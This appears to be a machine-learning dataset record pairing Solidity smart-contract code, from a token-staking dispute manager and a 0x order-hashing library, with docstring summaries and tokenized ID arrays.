ATTESTATION_SIZE_BYTES = 161; uint256 private constant RECEIPT_SIZE_BYTES = 96; uint256 private constant SIG_R_LENGTH = 32; uint256 private constant SIG_S_LENGTH = 32; uint256 private constant SIG_R_OFFSET = RECEIPT_SIZE_BYTES; uint256 private constant SIG_S_OFFSET = RECEIPT_SIZE_BYTES + SIG_R_LENGTH; uint256 private constant SIG_V_OFFSET = RECEIPT_SIZE_BYTES + SIG_R_LENGTH + SIG_S_LENGTH; uint256 private constant UINT8_BYTE_LENGTH = 1; uint256 private constant BYTES32_BYTE_LENGTH = 32; uint256 private constant MAX_PPM = 1000000; // 100% in parts per million // -- Events -- /** * @dev Emitted when a query dispute is created for `subgraphDeploymentID` and `indexer` * by `fisherman`. * The event emits the amount of `tokens` deposited by the fisherman and `attestation` submitted. */ event QueryDisputeCreated( bytes32 indexed disputeID, address indexed indexer, address indexed fisherman, uint256 tokens, bytes32 subgraphDeploymentID, bytes attestation ); /** * @dev Emitted when an indexing dispute is created for `allocationID` and `indexer` * by `fisherman`. * The event emits the amount of `tokens` deposited by the fisherman. */ event IndexingDisputeCreated( bytes32 indexed disputeID, address indexed indexer, address indexed fisherman, uint256 tokens, address allocationID ); /** * @dev Emitted when arbitrator accepts a `disputeID` to `indexer` created by `fisherman`. * The event emits the amount `tokens` transferred to the fisherman, the deposit plus reward. */ event DisputeAccepted( bytes32 indexed disputeID, address indexed indexer, address indexed fisherman, uint256 tokens ); /** * @dev Emitted when arbitrator rejects a `disputeID` for `indexer` created by `fisherman`. * The event emits the amount `tokens` burned from the fisherman deposit. */ event DisputeRejected( bytes32 indexed disputeID, address indexed indexer, address indexed fisherman, uint256 tokens ); /** * @dev Emitted when arbitrator draw a `disputeID` for `indexer` created by `fisherman`. * The event emits the amount `tokens` used as deposit and returned to the fisherman. */ event DisputeDrawn( bytes32 indexed disputeID, address indexed indexer, address indexed fisherman, uint256 tokens ); /** * @dev Emitted when two disputes are in conflict to link them. * This event will be emitted after each DisputeCreated event is emitted * for each of the individual disputes. */ event DisputeLinked(bytes32 indexed disputeID1, bytes32 indexed disputeID2); /** * @dev Check if the caller is the arbitrator. */ modifier onlyArbitrator { require(msg.sender == arbitrator, "Caller is not the Arbitrator"); _; } /** * @dev Initialize this contract. * @param _arbitrator Arbitrator role * @param _minimumDeposit Minimum deposit required to create a Dispute * @param _fishermanRewardPercentage Percent of slashed funds for fisherman (ppm) * @param _slashingPercentage Percentage of indexer stake slashed (ppm) */ function initialize( address _controller, address _arbitrator, uint256 _minimumDeposit, uint32 _fishermanRewardPercentage, uint32 _slashingPercentage ) external onlyImpl { Managed._initialize(_controller); // Settings _setArbitrator(_arbitrator); _setMinimumDeposit(_minimumDeposit); _setFishermanRewardPercentage(_fishermanRewardPercentage); _setSlashingPercentage(_slashingPercentage); // EIP-712 domain separator DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPE_HASH, DOMAIN_NAME_HASH, DOMAIN_VERSION_HASH, _getChainID(), address(this), DOMAIN_SALT ) ); } /** * @dev Set the arbitrator address. * @notice Update the arbitrator to `_arbitrator` * @param _arbitrator The address of the arbitration contract or party */ function setArbitrator(address _arbitrator) external override onlyGovernor { _setArbitrator(_arbitrator); } /** * @dev Internal: Set the arbitrator address. * @notice Update the arbitrator to `_arbitrator` * @param _arbitrator The address of the arbitration contract or party */ function _setArbitrator(address _arbitrator) private { require(_arbitrator != address(0), "Arbitrator must be set"); arbitrator = _arbitrator; emit ParameterUpdated("arbitrator"); } /** * @dev Set the minimum deposit required to create a dispute. * @notice Update the minimum deposit to `_minimumDeposit` Graph Tokens * @param _minimumDeposit The minimum deposit in Graph Tokens */ function setMinimumDeposit(uint256 _minimumDeposit) external override onlyGovernor { _setMinimumDeposit(_minimumDeposit); } /** * @dev Internal: Set the minimum deposit required to create a dispute. * @notice Update the minimum deposit to `_minimumDeposit` Graph Tokens * @param _minimumDeposit The minimum deposit in Graph Tokens */ function _setMinimumDeposit(uint256 _minimumDeposit) private { require(_minimumDeposit > 0, "Minimum deposit must be set"); minimumDeposit = _minimumDeposit; emit ParameterUpdated("minimumDeposit"); } /** * @dev Set the percent reward that the fisherman gets when slashing occurs. * @notice Update the reward percentage to `_percentage` * @param _percentage Reward as a percentage of indexer stake */ function setFishermanRewardPercentage(uint32 _percentage) external override onlyGovernor { _setFishermanRewardPercentage(_percentage); } /** * @dev Internal: Set the percent reward that the fisherman gets when slashing occurs. * @notice Update the reward percentage to `_percentage` * @param _percentage Reward as a percentage of indexer stake */ function _setFishermanRewardPercentage(uint32 _percentage) private { // Must be within 0% to 100% (inclusive) require(_percentage <= MAX_PPM, "Reward percentage must be below or equal to MAX_PPM"); fishermanRewardPercentage = _percentage; emit ParameterUpdated("fishermanRewardPercentage"); } /** * @dev Set the percentage used for slashing indexers. * @param _percentage Percentage used for slashing */ function setSlashingPercentage(uint32 _percentage) external override onlyGovernor { _setSlashingPercentage(_percentage); } /** * @dev Internal: Set the percentage used for slashing indexers. * @param _percentage Percentage used for slashing */ function _setSlashingPercentage(uint32 _percentage) private { // Must be within 0% to 100% (inclusive) require(_percentage <= MAX_PPM, "Slashing percentage must be below or equal to MAX_PPM"); slashingPercentage = _percentage; emit ParameterUpdated("slashingPercentage"); } /** * @dev Return whether a dispute exists or not. * @notice Return if dispute with ID `_disputeID` exists * @param _disputeID True if dispute already exists */ function isDisputeCreated(bytes32 _disputeID) public override view returns (bool) { return disputes[_disputeID].fisherman != address(0); } /** * @dev Get the message hash that an indexer used to sign the receipt. * Encodes a receipt using a domain separator, as described on * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#specification. * @notice Return the message hash used to sign the receipt * @param _receipt Receipt returned by indexer and submitted by fisherman * @return Message hash used to sign the receipt */ function encodeHashReceipt(Receipt memory _receipt) public override view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", // EIP-191 encoding pad, EIP-712 version 1 DOMAIN_SEPARATOR, keccak256( abi.encode( RECEIPT_TYPE_HASH, _receipt.requestCID, _receipt.responseCID, _receipt.subgraphDeploymentID ) // EIP 712-encoded message hash ) ) ); } /** * @dev Returns if two attestations are conflicting. * Everything must match except for the responseID. * @param _attestation1 Attestation * @param _attestation2 Attestation * @return True if the two attestations are conflicting */ function areConflictingAttestations( Attestation memory _attestation1, Attestation memory _attestation2 ) public override pure returns (bool) { return (_attestation1.requestCID == _attestation2.requestCID && _attestation1.subgraphDeploymentID == _attestation2.subgraphDeploymentID && _attestation1.responseCID != _attestation2.responseCID); } /** * @dev Returns the indexer that signed an attestation. * @param _attestation Attestation * @return Indexer address */ function getAttestationIndexer(Attestation memory _attestation) public override view returns (address) { // Get attestation signer, allocationID address allocationID = _recoverAttestationSigner(_attestation); IStaking.Allocation memory alloc = staking().getAllocation(allocationID); require(alloc.indexer != address(0), "Indexer cannot be found for the attestation"); require( alloc.subgraphDeploymentID == _attestation.subgraphDeploymentID, "Allocation and attestation subgraphDeploymentID must match" ); return alloc.indexer; } /** * @dev Get the fisherman reward for a given indexer stake. * @notice Return the fisherman reward based on the `_indexer` stake * @param _indexer Indexer to be slashed * @return Reward calculated as percentage of the indexer slashed funds */ function getTokensToReward(address _indexer) public override view returns (uint256) { uint256 tokens = getTokensToSlash(_indexer); if (tokens == 0) { return 0; } return uint256(fishermanRewardPercentage).mul(tokens).div(MAX_PPM); } /** * @dev Get the amount of tokens to slash for an indexer based on the current stake. * @param _indexer Address of the indexer * @return Amount of tokens to slash */ function getTokensToSlash(address _indexer) public override view returns (uint256) { uint256 tokens = staking().getIndexerStakedTokens(_indexer); // slashable tokens if (tokens == 0) { return 0; } return uint256(slashingPercentage).mul(tokens).div(MAX_PPM); } /** * @dev Create a query dispute for the arbitrator to resolve. * This function is called by a fisherman that will need to `_deposit` at * least `minimumDeposit` GRT tokens. * @param _attestationData Attestation bytes submitted by the fisherman * @param _deposit Amount of tokens staked as deposit */ function createQueryDispute(bytes calldata _attestationData, uint256 _deposit) external override returns (bytes32) { // Get funds from submitter _pullSubmitterDeposit(_deposit); // Create a dispute return _createQueryDisputeWithAttestation( msg.sender, _deposit, _parseAttestation(_attestationData), _attestationData ); } /** * @dev Create query disputes for two conflicting attestations. * A conflicting attestation is a proof presented by two different indexers * where for the same request on a subgraph the response is different. * For this type of dispute the submitter is not required to present a deposit * as one of the attestation is considered to be right. * Two linked disputes will be created and if the arbitrator resolve one, the other * one will be automatically resolved. * @param _attestationData1 First attestation data submitted * @param _attestationData2 Second attestation data submitted * @return DisputeID1, DisputeID2 */ function createQueryDisputeConflict( bytes calldata _attestationData1, bytes calldata _attestationData2 ) external override returns (bytes32, bytes32) { address fisherman = msg.sender; // Parse each attestation Attestation memory attestation1 = _parseAttestation(_attestationData1); Attestation memory attestation2 = _parseAttestation(_attestationData2); // Test that attestations are conflicting require( areConflictingAttestations(attestation1, attestation2), "Attestations must be in conflict" ); // Create the disputes // The deposit is zero for conflicting attestations bytes32 dID1 = _createQueryDisputeWithAttestation( fisherman, 0, attestation1, _attestationData1 ); bytes32 dID2 = _createQueryDisputeWithAttestation( fisherman, 0, attestation2, _attestationData2 ); // Store the linked disputes to be resolved disputes[dID1].relatedDisputeID = dID2; disputes[dID2].relatedDisputeID = dID1; // Emit event that links the two created disputes emit DisputeLinked(dID1, dID2); return (dID1, dID2); } /** * @dev Create a query dispute passing the parsed attestation. * To be used in createQueryDispute() and createQueryDisputeConflict() * to avoid calling parseAttestation() multiple times * `_attestationData` is only passed to be emitted * @param _fisherman Creator of dispute * @param _deposit Amount of tokens staked as deposit * @param _attestation Attestation struct parsed from bytes * @param _attestationData Attestation bytes submitted by the fisherman * @return DisputeID */ function _createQueryDisputeWithAttestation( address _fisherman, uint256 _deposit, Attestation memory _attestation, bytes memory _attestationData ) private returns (bytes32) { // Get the indexer that signed the attestation address indexer = getAttestationIndexer(_attestation); // The indexer is disputable require(staking().hasStake(indexer), "Dispute indexer has no stake"); // Create a disputeID bytes32 disputeID = keccak256( abi.encodePacked( _attestation.requestCID, _attestation.responseCID, _attestation.subgraphDeploymentID, indexer, _fisherman ) ); // Only one dispute for a (indexer, subgraphDeploymentID) at a time require(!isDisputeCreated(disputeID), "Dispute already created"); // Store dispute disputes[disputeID] = Dispute( indexer, _fisherman, _deposit, 0 // no related dispute ); emit QueryDisputeCreated( disputeID, indexer, _fisherman, _deposit, _attestation.subgraphDeploymentID, _attestationData ); return disputeID; } /** * @dev Create an indexing dispute for the arbitrator to resolve. * The disputes are created in reference to an allocationID * This function is called by a challenger that will need to `_deposit` at * least `minimumDeposit` GRT tokens. * @param _allocationID The allocation to dispute * @param _deposit Amount of tokens staked as deposit */ function createIndexingDispute(address _allocationID, uint256 _deposit) external override returns (bytes32) { // Get funds from submitter _pullSubmitterDeposit(_deposit); // Create a dispute return _createIndexingDisputeWithAllocation(msg.sender, _deposit, _allocationID); } /** * @dev Create indexing dispute internal function. * @param _fisherman The challenger creating the dispute * @param _deposit Amount of tokens staked as deposit * @param _allocationID Allocation disputed */ function _createIndexingDisputeWithAllocation( address _fisherman, uint256 _deposit, address _allocationID ) private returns (bytes32) { // Create a disputeID bytes32 disputeID = keccak256(abi.encodePacked(_allocationID)); // Only one dispute for an allocationID at a time require(!isDisputeCreated(disputeID), "Dispute already created"); // Allocation must exist IStaking.Allocation memory alloc = staking().getAllocation(_allocationID); require(alloc.indexer != address(0), "Dispute allocation must exist"); // The indexer must be disputable require(staking().hasStake(alloc.indexer), "Dispute indexer has no stake"); // Store dispute disputes[disputeID] = Dispute(alloc.indexer, _fisherman, _deposit, 0); emit IndexingDisputeCreated(disputeID, alloc.indexer, _fisherman, _deposit, _allocationID); return disputeID; } /** * @dev The arbitrator accepts a dispute as being valid. * @notice Accept a dispute with ID `_disputeID` * @param _disputeID ID of the dispute to be accepted */ function acceptDispute(bytes32 _disputeID) external override onlyArbitrator { Dispute memory dispute = _resolveDispute(_disputeID); // Slash uint256 tokensToReward = _slashIndexer(dispute.indexer, dispute.fisherman); // Give the fisherman their deposit back if (dispute.deposit > 0) { require( graphToken().transfer(dispute.fisherman, dispute.deposit), "Error sending dispute deposit" ); } // Resolve the conflicting dispute if any _resolveDisputeInConflict(dispute); emit DisputeAccepted( _disputeID, dispute.indexer, dispute.fisherman, dispute.deposit.add(tokensToReward) ); } /** * @dev The arbitrator rejects a dispute as being invalid. * @notice Reject a dispute with ID `_disputeID` * @param _disputeID ID of the dispute to be rejected */ function rejectDispute(bytes32 _disputeID) external override onlyArbitrator { Dispute memory dispute = _resolveDispute(_disputeID); // Handle conflicting dispute if any require( !_isDisputeInConflict(dispute), "Dispute for conflicting attestation, must accept the related ID to reject" ); // Burn the fisherman's deposit if (dispute.deposit > 0) { graphToken().burn(dispute.deposit); } emit DisputeRejected(_disputeID, dispute.indexer, dispute.fisherman, dispute.deposit); } /** * @dev The arbitrator draws dispute. * @notice Ignore a dispute with ID `_disputeID` * @param _disputeID ID of the dispute to be disregarded */ function drawDispute(bytes32 _disputeID) external override onlyArbitrator { Dispute memory dispute = _resolveDispute(_disputeID); // Return deposit to the fisherman if (dispute.deposit > 0) { require( graphToken().transfer(dispute.fisherman, dispute.deposit), "Error sending dispute deposit" ); } // Resolve the conflicting dispute if any _resolveDisputeInConflict(dispute); emit DisputeDrawn(_disputeID, dispute.indexer, dispute.fisherman, dispute.deposit); } /** * @dev Resolve a dispute by removing it from storage and returning a memory copy. * @param _disputeID ID of the dispute to resolve * @return Dispute */ function _resolveDispute(bytes32 _disputeID) private returns (Dispute memory) { require(isDisputeCreated(_disputeID), "Dispute does not exist"); Dispute memory dispute = disputes[_disputeID]; // Resolve dispute delete disputes[_disputeID]; // Re-entrancy return dispute; } /** * @dev Returns whether the dispute is for a conflicting attestation or not. * @param _dispute Dispute * @return True conflicting attestation dispute */ function _isDisputeInConflict(Dispute memory _dispute) private pure returns (bool) { return _dispute.relatedDisputeID != 0; } /** * @dev Resolve the conflicting dispute if there is any for the one passed to this function. * @param _dispute Dispute * @return True if resolved */ function _resolveDisputeInConflict(Dispute memory _dispute) private returns (bool) { if (_isDisputeInConflict(_dispute)) { bytes32 relatedDisputeID = _dispute.relatedDisputeID; delete disputes[relatedDisputeID]; return true; } return false; } /** * @dev Pull deposit from submitter account. * @param _deposit Amount of tokens to deposit */ function _pullSubmitterDeposit(uint256 _deposit) private { // Ensure that fisherman has staked at least the minimum amount require(_deposit >= minimumDeposit, "Dispute deposit is under minimum required"); // Transfer tokens to deposit from fisherman to this contract require( graphToken().transferFrom(msg.sender, address(this), _deposit), "Cannot transfer tokens to deposit" ); } /** * @dev Make the staking contract slash the indexer and reward the challenger. * Give the challenger a reward equal to the fishermanRewardPercentage of slashed amount * @param _indexer Address of the indexer * @param _challenger Address of the challenger * @return Dispute reward tokens */ function _slashIndexer(address _indexer, address _challenger) private returns (uint256) { // Have staking contract slash the indexer and reward the fisherman // Give the fisherman a reward equal to the fishermanRewardPercentage of slashed amount uint256 tokensToSlash = getTokensToSlash(_indexer); uint256 tokensToReward = getTokensToReward(_indexer); require(tokensToSlash > 0, "Dispute has zero tokens to slash"); staking().slash(_indexer, tokensToSlash, tokensToReward, _challenger); return tokensToReward; } /** * @dev Recover the signer address of the `_attestation`. * @param _attestation The attestation struct * @return Signer address */ function _recoverAttestationSigner(Attestation memory _attestation) private view returns (address) { // Obtain the hash of the fully-encoded message, per EIP-712 encoding Receipt memory receipt = Receipt( _attestation.requestCID, _attestation.responseCID, _attestation.subgraphDeploymentID ); bytes32 messageHash = encodeHashReceipt(receipt); // Obtain the signer of the fully-encoded EIP-712 message hash // NOTE: The signer of the attestation is the indexer that served the request return ECDSA.recover( messageHash, abi.encodePacked(_attestation.r, _attestation.s, _attestation.v) ); } /** * @dev Get the running network chain ID * @return The chain ID */ function _getChainID() private pure returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * @dev Parse the bytes attestation into a struct from `_data`. * @return Attestation struct */ function _parseAttestation(bytes memory _data) private pure returns (Attestation memory) { // Check attestation data length require(_data.length == ATTESTATION_SIZE_BYTES, "Attestation must be 161 bytes long"); // Decode receipt (bytes32 requestCID, bytes32 responseCID, bytes32 subgraphDeploymentID) = abi.decode( _data, (bytes32, bytes32, bytes32) ); // Decode signature // Signature is expected to be in the order defined in the Attestation struct bytes32 r = _toBytes32(_data, SIG_R_OFFSET); bytes32 s = _toBytes32(_data, SIG_S_OFFSET); uint8 v = _toUint8(_data, SIG_V_OFFSET); return Attestation(requestCID, responseCID, subgraphDeploymentID, r, s, v); } /** * @dev Parse a uint8 from `_bytes` starting at offset `_start`. * @return uint8 value */ function _toUint8(bytes memory _bytes, uint256 _start) private pure returns (uint8) { require(_bytes.length >= (_start + UINT8_BYTE_LENGTH), "Bytes: out of bounds"); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } /** * @dev Parse a bytes32 from `_bytes` starting at offset `_start`. * @return bytes32 value */ function _toBytes32(bytes memory _bytes, uint256 _start) private pure returns (bytes32) { require(_bytes.length >= (_start + BYTES32_BYTE_LENGTH), "Bytes: out of bounds"); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } }
* @dev Initialize this contract. @param _arbitrator Arbitrator role @param _minimumDeposit Minimum deposit required to create a Dispute @param _fishermanRewardPercentage Percent of slashed funds for fisherman (ppm) @param _slashingPercentage Percentage of indexer stake slashed (ppm)/ Settings EIP-712 domain separator
function initialize( address _controller, address _arbitrator, uint256 _minimumDeposit, uint32 _fishermanRewardPercentage, uint32 _slashingPercentage ) external onlyImpl { Managed._initialize(_controller); _setArbitrator(_arbitrator); _setMinimumDeposit(_minimumDeposit); _setFishermanRewardPercentage(_fishermanRewardPercentage); _setSlashingPercentage(_slashingPercentage); DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPE_HASH, DOMAIN_NAME_HASH, DOMAIN_VERSION_HASH, _getChainID(), address(this), DOMAIN_SALT ) ); }
908,944
[ 1, 7520, 333, 6835, 18, 225, 389, 297, 3682, 86, 639, 1201, 3682, 86, 639, 2478, 225, 389, 15903, 758, 1724, 23456, 443, 1724, 1931, 358, 752, 279, 3035, 2507, 225, 389, 22905, 29650, 17631, 1060, 16397, 21198, 434, 9026, 329, 284, 19156, 364, 284, 1468, 29650, 261, 84, 7755, 13, 225, 389, 12877, 310, 16397, 21198, 410, 434, 12635, 384, 911, 9026, 329, 261, 84, 7755, 13176, 8709, 512, 2579, 17, 27, 2138, 2461, 4182, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4046, 12, 203, 3639, 1758, 389, 5723, 16, 203, 3639, 1758, 389, 297, 3682, 86, 639, 16, 203, 3639, 2254, 5034, 389, 15903, 758, 1724, 16, 203, 3639, 2254, 1578, 389, 22905, 29650, 17631, 1060, 16397, 16, 203, 3639, 2254, 1578, 389, 12877, 310, 16397, 203, 565, 262, 3903, 1338, 2828, 288, 203, 3639, 10024, 6315, 11160, 24899, 5723, 1769, 203, 203, 3639, 389, 542, 686, 3682, 86, 639, 24899, 297, 3682, 86, 639, 1769, 203, 3639, 389, 542, 13042, 758, 1724, 24899, 15903, 758, 1724, 1769, 203, 3639, 389, 542, 42, 1468, 29650, 17631, 1060, 16397, 24899, 22905, 29650, 17631, 1060, 16397, 1769, 203, 3639, 389, 542, 11033, 310, 16397, 24899, 12877, 310, 16397, 1769, 203, 203, 3639, 27025, 67, 4550, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 27025, 67, 2399, 67, 15920, 16, 203, 7734, 27025, 67, 1985, 67, 15920, 16, 203, 7734, 27025, 67, 5757, 67, 15920, 16, 203, 7734, 389, 588, 3893, 734, 9334, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 27025, 67, 55, 18255, 203, 5411, 262, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; pragma experimental ABIEncoderV2; import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol"; /// @dev A library for common native order operations. library LibNativeOrder { enum OrderStatus { INVALID, FILLABLE, FILLED, CANCELLED, EXPIRED } /// @dev A standard OTC or OO limit order. struct LimitOrder { IERC20TokenV06 makerToken; IERC20TokenV06 takerToken; uint128 makerAmount; uint128 takerAmount; uint128 takerTokenFeeAmount; address maker; address taker; address sender; address feeRecipient; bytes32 pool; uint64 expiry; uint256 salt; } /// @dev An RFQ limit order. struct RfqOrder { IERC20TokenV06 makerToken; IERC20TokenV06 takerToken; uint128 makerAmount; uint128 takerAmount; address maker; address taker; address txOrigin; bytes32 pool; uint64 expiry; uint256 salt; } /// @dev Info on a limit or RFQ order. struct OrderInfo { bytes32 orderHash; OrderStatus status; uint128 takerTokenFilledAmount; } uint256 private constant UINT_128_MASK = (1 << 128) - 1; uint256 private constant UINT_64_MASK = (1 << 64) - 1; uint256 private constant ADDRESS_MASK = (1 << 160) - 1; // The type hash for limit orders, which is: // keccak256(abi.encodePacked( // "LimitOrder(", // "address makerToken,", // "address takerToken,", // "uint128 makerAmount,", // "uint128 takerAmount,", // "uint128 takerTokenFeeAmount,", // "address maker,", // "address taker,", // "address sender,", // "address feeRecipient,", // "bytes32 pool,", // "uint64 expiry,", // "uint256 salt" // ")" // )) uint256 private constant _LIMIT_ORDER_TYPEHASH = 0xce918627cb55462ddbb85e73de69a8b322f2bc88f4507c52fcad6d4c33c29d49; // The type hash for RFQ orders, which is: // keccak256(abi.encodePacked( // "RfqOrder(", // "address makerToken,", // "address takerToken,", // "uint128 makerAmount,", // "uint128 takerAmount,", // "address maker,", // "address taker,", // "address txOrigin,", // "bytes32 pool,", // "uint64 expiry,", // "uint256 salt" // ")" // )) uint256 private constant _RFQ_ORDER_TYPEHASH = 0xe593d3fdfa8b60e5e17a1b2204662ecbe15c23f2084b9ad5bae40359540a7da9; /// @dev Get the struct hash of a limit order. /// @param order The limit order. /// @return structHash The struct hash of the order. function getLimitOrderStructHash(LimitOrder memory order) internal pure returns (bytes32 structHash) { // The struct hash is: // keccak256(abi.encode( // TYPE_HASH, // order.makerToken, // order.takerToken, // order.makerAmount, // order.takerAmount, // order.takerTokenFeeAmount, // order.maker, // order.taker, // order.sender, // order.feeRecipient, // order.pool, // order.expiry, // order.salt, // )) assembly { let mem := mload(0x40) mstore(mem, _LIMIT_ORDER_TYPEHASH) // order.makerToken; mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) // order.takerToken; mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) // order.makerAmount; mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) // order.takerAmount; mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) // order.takerTokenFeeAmount; mstore(add(mem, 0xA0), and(UINT_128_MASK, mload(add(order, 0x80)))) // order.maker; mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) // order.taker; mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) // order.sender; mstore(add(mem, 0x100), and(ADDRESS_MASK, mload(add(order, 0xE0)))) // order.feeRecipient; mstore(add(mem, 0x120), and(ADDRESS_MASK, mload(add(order, 0x100)))) // order.pool; mstore(add(mem, 0x140), mload(add(order, 0x120))) // order.expiry; mstore(add(mem, 0x160), and(UINT_64_MASK, mload(add(order, 0x140)))) // order.salt; mstore(add(mem, 0x180), mload(add(order, 0x160))) structHash := keccak256(mem, 0x1A0) } } /// @dev Get the struct hash of a RFQ order. /// @param order The RFQ order. /// @return structHash The struct hash of the order. function getRfqOrderStructHash(RfqOrder memory order) internal pure returns (bytes32 structHash) { // The struct hash is: // keccak256(abi.encode( // TYPE_HASH, // order.makerToken, // order.takerToken, // order.makerAmount, // order.takerAmount, // order.maker, // order.taker, // order.txOrigin, // order.pool, // order.expiry, // order.salt, // )) assembly { let mem := mload(0x40) mstore(mem, _RFQ_ORDER_TYPEHASH) // order.makerToken; mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) // order.takerToken; mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) // order.makerAmount; mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) // order.takerAmount; mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) // order.maker; mstore(add(mem, 0xA0), and(ADDRESS_MASK, mload(add(order, 0x80)))) // order.taker; mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) // order.txOrigin; mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) // order.pool; mstore(add(mem, 0x100), mload(add(order, 0xE0))) // order.expiry; mstore(add(mem, 0x120), and(UINT_64_MASK, mload(add(order, 0x100)))) // order.salt; mstore(add(mem, 0x140), mload(add(order, 0x120))) structHash := keccak256(mem, 0x160) } } }
@dev Get the struct hash of a RFQ order. @param order The RFQ order. @return structHash The struct hash of the order. The struct hash is: keccak256(abi.encode( TYPE_HASH, order.makerToken, order.takerToken, order.makerAmount, order.takerAmount, order.maker, order.taker, order.txOrigin, order.pool, order.expiry, order.salt, )) order.makerToken; order.takerToken; order.makerAmount; order.takerAmount; order.maker; order.taker; order.txOrigin; order.pool; order.expiry; order.salt;
function getRfqOrderStructHash(RfqOrder memory order) internal pure returns (bytes32 structHash) { assembly { let mem := mload(0x40) mstore(mem, _RFQ_ORDER_TYPEHASH) mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) mstore(add(mem, 0xA0), and(ADDRESS_MASK, mload(add(order, 0x80)))) mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) mstore(add(mem, 0x100), mload(add(order, 0xE0))) mstore(add(mem, 0x120), and(UINT_64_MASK, mload(add(order, 0x100)))) mstore(add(mem, 0x140), mload(add(order, 0x120))) structHash := keccak256(mem, 0x160) } }
5,394,943
[ 1, 967, 326, 1958, 1651, 434, 279, 534, 23032, 1353, 18, 225, 1353, 1021, 534, 23032, 1353, 18, 327, 1958, 2310, 1021, 1958, 1651, 434, 326, 1353, 18, 1021, 1958, 1651, 353, 30, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 12, 282, 3463, 67, 15920, 16, 282, 1353, 18, 29261, 1345, 16, 282, 1353, 18, 88, 6388, 1345, 16, 282, 1353, 18, 29261, 6275, 16, 282, 1353, 18, 88, 6388, 6275, 16, 282, 1353, 18, 29261, 16, 282, 1353, 18, 88, 6388, 16, 282, 1353, 18, 978, 7571, 16, 282, 1353, 18, 6011, 16, 282, 1353, 18, 22409, 16, 282, 1353, 18, 5759, 16, 8623, 1353, 18, 29261, 1345, 31, 1353, 18, 88, 6388, 1345, 31, 1353, 18, 29261, 6275, 31, 1353, 18, 88, 6388, 6275, 31, 1353, 18, 29261, 31, 1353, 18, 88, 6388, 31, 1353, 18, 978, 7571, 31, 1353, 18, 6011, 31, 1353, 18, 22409, 2 ]
